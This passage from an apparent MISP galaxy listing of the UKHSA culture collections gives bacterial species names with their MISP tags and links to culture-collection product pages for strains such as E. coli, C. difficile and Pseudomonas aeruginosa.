https://www.culturecollections.org.uk/nop/product/escherichia-coli-27

https://www.culturecollections.org.uk/nop/product/escherichia-coli-25
https://www.culturecollections.org.uk/nop/product/escherichia-coli-24
https://www.culturecollections.org.uk/nop/product/escherichia-coli-23
https://www.culturecollections.org.uk/nop/product/escherichia-coli-22
https://www.culturecollections.org.uk/nop/product/escherichia-coli-303
https://www.culturecollections.org.uk/nop/product/escherichia-coli-14
https://www.culturecollections.org.uk/nop/product/escherichia-coli-7
https://www.culturecollections.org.uk/nop/product/escherichia-coli-360
https://www.culturecollections.org.uk/nop/product/escherichia-coli-8
https://www.culturecollections.org.uk/nop/product/escherichia-coli-15
https://www.culturecollections.org.uk/nop/product/escherichia-coli-21
https://www.culturecollections.org.uk/nop/product/escherichia-coli-302
https://www.culturecollections.org.uk/nop/product/escherichia-coli-215
https://www.culturecollections.org.uk/nop/product/escherichia-coli-213
https://www.culturecollections.org.uk/nop/product/escherichia-coli-212
https://www.culturecollections.org.uk/nop/product/escherichia-coli-203
https://www.culturecollections.org.uk/nop/product/escherichia-coli-177
https://www.culturecollections.org.uk/nop/product/escherichia-coli-176
https://www.culturecollections.org.uk/nop/product/escherichia-coli-175
https://www.culturecollections.org.uk/nop/product/escherichia-coli-162
https://www.culturecollections.org.uk/nop/product/escherichia-coli-44
https://www.culturecollections.org.uk/nop/product/escherichia-coli-28
https://www.culturecollections.org.uk/nop/product/escherichia-coli-19
https://www.culturecollections.org.uk/nop/product/escherichia-coli-13
https://www.culturecollections.org.uk/nop/product/escherichia-coli-295
https://www.culturecollections.org.uk/nop/product/escherichia-coli-292
https://www.culturecollections.org.uk/nop/product/escherichia-coli-255
https://www.culturecollections.org.uk/nop/product/escherichia-coli-200
https://www.culturecollections.org.uk/nop/product/escherichia-coli-34
https://www.culturecollections.org.uk/nop/product/escherichia-coli-269
https://www.culturecollections.org.uk/nop/product/escherichia-coli-310
https://www.culturecollections.org.uk/nop/product/escherichia-coli-296
https://www.culturecollections.org.uk/nop/product/escherichia-coli-283
https://www.culturecollections.org.uk/nop/product/escherichia-coli-237

https://www.culturecollections.org.uk/nop/product/escherichia-coli-234
https://www.culturecollections.org.uk/nop/product/escherichia-coli-204
https://www.culturecollections.org.uk/nop/product/escherichia-coli-202
https://www.culturecollections.org.uk/nop/product/escherichia-coli-43
https://www.culturecollections.org.uk/nop/product/escherichia-coli-33
https://www.culturecollections.org.uk/nop/product/escherichia-coli-20
https://www.culturecollections.org.uk/nop/product/escherichia-coli-12
https://www.culturecollections.org.uk/nop/product/escherichia-coli-11
https://www.culturecollections.org.uk/nop/product/escherichia-coli-10
https://www.culturecollections.org.uk/nop/product/escherichia-coli-297
https://www.culturecollections.org.uk/nop/product/escherichia-coli-214
https://www.culturecollections.org.uk/nop/product/escherichia-coli-9
https://www.culturecollections.org.uk/nop/product/escherichia-coli-4
https://www.culturecollections.org.uk/nop/product/escherichia-coli-17
https://www.culturecollections.org.uk/nop/product/escherichia-coli-284
https://www.culturecollections.org.uk/nop/product/escherichia-coli-285
https://www.culturecollections.org.uk/nop/product/escherichia-coli-230
https://www.culturecollections.org.uk/nop/product/escherichia-coli-45
https://www.culturecollections.org.uk/nop/product/escherichia-coli-279
https://www.culturecollections.org.uk/nop/product/escherichia-coli-278
https://www.culturecollections.org.uk/nop/product/escherichia-coli-26

Streptococcus agalactiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus agalactiae"*

Table 25459. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-62
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-61
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-60
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-59
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-58
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-76
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-75
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-74

https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-73
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-72
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-71
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-70
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-69
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-68
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-67
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-66
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-65
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-64
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-63
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-54
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-53
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-55
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-56
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-57
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-24
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-22
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-12
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-3
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-29
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-13
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-16
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-10
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-8
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-2
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-7
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-49
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-26
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-50
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-28
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-9
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-6

https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-4
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-11
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-20
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-27
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-32
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-44
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-48
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-31
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-34
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-36
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-38
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-40
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-41
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-47
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-14
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-19
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-52
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-30
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-37
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-45
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-15
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-21
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-51
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-23
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-25
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-33
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-46
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-18
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-35
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-39
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-42
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-43
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-5
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-17

Clostridium difficile

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium difficile"*

Table 25460. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-48
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-39
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-43
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-44
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-49
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-34
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-35
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-36
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-37
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-38
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-47
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-46
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-45
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-42
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-41
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-40
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-21
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-29
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-28
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-27
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-26
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-25
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-24
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-33
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-32
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-19
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-11
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-16
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-9
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-3

https://www.culturecollections.org.uk/nop/product/clostridium-difficile-30
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-23
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-13
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-15
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-17
https://www.culturecollections.org.uk/nop/product/clostridium-difficile
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-2
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-5
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-18
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-6
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-7
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-10
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-12
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-8
https://www.culturecollections.org.uk/nop/product/clostridium-difficile-14

Campylobacter bilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter bilis"*

Table 25461. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-bilis

Staphylococcus singaporensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus singaporensis"*

Table 25462. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-singaporensis-2
https://www.culturecollections.org.uk/nop/product/staphylococcus-singaporensis-3
https://www.culturecollections.org.uk/nop/product/staphylococcus-singaporensis-4
https://www.culturecollections.org.uk/nop/product/staphylococcus-singaporensis-5
https://www.culturecollections.org.uk/nop/product/staphylococcus-singaporensis-6
https://www.culturecollections.org.uk/nop/product/staphylococcus-singaporensis

Helicobacter enhydrae

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter enhydrae"*

Table 25463. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-enhydrae

Bordetella pertussis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bordetella pertussis"*

Table 25464. Table References

Links
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-20
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-13
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-11
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-8
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-7
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-17
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-18
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-14
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-10
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-16
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-2
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-9
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-12
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-4
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-5
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-15
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-6
https://www.culturecollections.org.uk/nop/product/bordetella-pertussis-3

Legionella antarctica

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella antarctica"*

Table 25465. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-antarctica

Vibrio floridensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio floridensis"*

Table 25466. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-floridensis

Clostridium paraputrificum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium paraputrificum"*

Table 25467. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-paraputrificum-3
https://www.culturecollections.org.uk/nop/product/clostridium-paraputrificum-2
https://www.culturecollections.org.uk/nop/product/clostridium-paraputrificum-4
https://www.culturecollections.org.uk/nop/product/clostridium-paraputrificum

Clostridium tertium

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium tertium"*

Table 25468. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-tertium-3
https://www.culturecollections.org.uk/nop/product/clostridium-tertium
https://www.culturecollections.org.uk/nop/product/clostridium-tertium-2

Clostridium cadaveris

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium cadaveris"*

Table 25469. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-cadaveris

Franklinella schreckenbergeri

The tag is: *misp-galaxy:ukhsa-culture-collections="Franklinella schreckenbergeri"*

Table 25470. Table References

Links
https://www.culturecollections.org.uk/nop/product/franklinella-schreckenbergeri

Staphylococcus caledonicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus caledonicus"*

Table 25471. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-caledonicus

Vandammella animalimorsus

The tag is: *misp-galaxy:ukhsa-culture-collections="Vandammella animalimorsus"*

Table 25472. Table References

Links
https://www.culturecollections.org.uk/nop/product/vandammella-animalimorsus

Acinetobacter colistiniresistens

The tag is: *misp-galaxy:ukhsa-culture-collections="Acinetobacter colistiniresistens"*

Table 25473. Table References

Links
https://www.culturecollections.org.uk/nop/product/acinetobacter-colistiniresistens

Salmonella enterica subsp. XI

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. XI"*

Table 25474. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-xi

Pseudomonas aeruginosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas aeruginosa"*

Table 25475. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-91
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-23
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-84
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-74
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-90
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-89
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-81
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-82
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-83
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-85
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-86
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-80
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-87
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-88
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-77
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-76
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-75
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-24
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-15
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-13
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-11
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-19
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-6
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-79
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-17
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-62
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-60
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-59
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-58
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-57

https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-56
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-45
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-44
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-43
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-42
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-41
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-40
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-39
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-38
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-37
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-9
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-7
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-31
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-30
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-27
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-26
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-49
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-48
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-46
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-36
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-35
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-34
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-33
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-4
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-69
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-64
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-63
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-20
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-16
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-72
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-71
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-70
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-18
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-54

https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-55
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-21
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-29
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-32
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-14
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-2
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-3
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-8
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-28
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-5
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-10
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-51
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-52
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-53
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-22
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-25
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-50
https://www.culturecollections.org.uk/nop/product/pseudomonas-aeruginosa-12

Oerskovia douganii

The tag is: *misp-galaxy:ukhsa-culture-collections="Oerskovia douganii"*

Table 25476. Table References

Links
https://www.culturecollections.org.uk/nop/product/oerskovia-douganii

Oceanitalea stevensii

The tag is: *misp-galaxy:ukhsa-culture-collections="Oceanitalea stevensii"*

Table 25477. Table References

Links
https://www.culturecollections.org.uk/nop/product/oceanitalea-stevensii

Phocaeicola gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Phocaeicola gallinarum"*

Table 25478. Table References

Links
https://www.culturecollections.org.uk/nop/product/phocaeicola-gallinarum

Corynebacterium gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium gallinarum"*

Table 25479. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-gallinarum

Kaistella pullorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Kaistella pullorum"*

Table 25480. Table References

Links
https://www.culturecollections.org.uk/nop/product/kaistella-pullorum

Acinetobacter pecorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Acinetobacter pecorum"*

Table 25481. Table References

Links
https://www.culturecollections.org.uk/nop/product/acinetobacter-pecorum

Planococcus wigleyi

The tag is: *misp-galaxy:ukhsa-culture-collections="Planococcus wigleyi"*

Table 25482. Table References

Links
https://www.culturecollections.org.uk/nop/product/planococcus-wigleyi-2

Bacillus norwichensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus norwichensis"*

Table 25483. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-norwichensis

Solibacillus faecavium

The tag is: *misp-galaxy:ukhsa-culture-collections="Solibacillus faecavium"*

Table 25484. Table References

Links
https://www.culturecollections.org.uk/nop/product/solibacillus-faecavium

Brevibacterium gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Brevibacterium gallinarum"*

Table 25485. Table References

Links
https://www.culturecollections.org.uk/nop/product/brevibacterium-gallinarum

Arthrobacter pullicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthrobacter pullicola"*

Table 25486. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthrobacter-pullicola

Ureibacillus galli

The tag is: *misp-galaxy:ukhsa-culture-collections="Ureibacillus galli"*

Table 25487. Table References

Links
https://www.culturecollections.org.uk/nop/product/ureibacillus-galli

Arthrobacter gallicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthrobacter gallicola"*

Table 25488. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthrobacter-gallicola

Serpens gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Serpens gallinarum"*

Table 25489. Table References

Links
https://www.culturecollections.org.uk/nop/product/serpens-gallinarum

Oerskovia merdavium

The tag is: *misp-galaxy:ukhsa-culture-collections="Oerskovia merdavium"*

Table 25490. Table References

Links
https://www.culturecollections.org.uk/nop/product/oerskovia-merdavium

Oerskovia gallyi

The tag is: *misp-galaxy:ukhsa-culture-collections="Oerskovia gallyi"*

Table 25491. Table References

Links
https://www.culturecollections.org.uk/nop/product/oerskovia-gallyi

Ochrobacterum gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Ochrobacterum gallinarum"*

Table 25492. Table References

Links
https://www.culturecollections.org.uk/nop/product/ochrobacterum-gallinarum

Escherichia whittamii

The tag is: *misp-galaxy:ukhsa-culture-collections="Escherichia whittamii"*

Table 25493. Table References

Links
https://www.culturecollections.org.uk/nop/product/escherichia-whittamii

Comamonas avium

The tag is: *misp-galaxy:ukhsa-culture-collections="Comamonas avium"*

Table 25494. Table References

Links
https://www.culturecollections.org.uk/nop/product/comamonas-avium

Luteimonas colneyensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Luteimonas colneyensis"*

Table 25495. Table References

Links
https://www.culturecollections.org.uk/nop/product/luteimonas-colneyensis

Paenibacillus gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Paenibacillus gallinarum"*

Table 25496. Table References

Links
https://www.culturecollections.org.uk/nop/product/paenibacillus-gallinarum

Sporosarcina quadrami

The tag is: *misp-galaxy:ukhsa-culture-collections="Sporosarcina quadrami"*

Table 25497. Table References

Links
https://www.culturecollections.org.uk/nop/product/sporosarcina-quadrami

Stenotrophomonas pennii

The tag is: *misp-galaxy:ukhsa-culture-collections="Stenotrophomonas pennii"*

Table 25498. Table References

Links
https://www.culturecollections.org.uk/nop/product/stenotrophomonas-pennii

Microbacterium pullorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Microbacterium pullorum"*

Table 25499. Table References

Links
https://www.culturecollections.org.uk/nop/product/microbacterium-pullorum

Psychrobacter communis

The tag is: *misp-galaxy:ukhsa-culture-collections="Psychrobacter communis"*

Table 25500. Table References

Links
https://www.culturecollections.org.uk/nop/product/psychrobacter-communis

Cellulomonas avistercoris

The tag is: *misp-galaxy:ukhsa-culture-collections="Cellulomonas avistercoris"*

Table 25501. Table References

Links
https://www.culturecollections.org.uk/nop/product/cellulomonas-avistercoris

Sporosarcina gallistercoris

The tag is: *misp-galaxy:ukhsa-culture-collections="Sporosarcina gallistercoris"*

Table 25502. Table References

Links
https://www.culturecollections.org.uk/nop/product/sporosarcina-gallistercoris

Brevundimonas guildfordensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Brevundimonas guildfordensis"*

Table 25503. Table References

Links
https://www.culturecollections.org.uk/nop/product/brevundimonas-guildfordensis

Pseudomonas tohonis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas tohonis"*

Table 25504. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-tohonis

Salmonella enterica subsp. enterica serotype Typhimurium

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Typhimurium"*

Table 25505. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-59
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-58
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-28
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-53
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-46
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-44
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-50

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-48
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-47
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-51
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-45
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-52
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-29
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-30
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-31
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-32
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-33
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-34
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-35
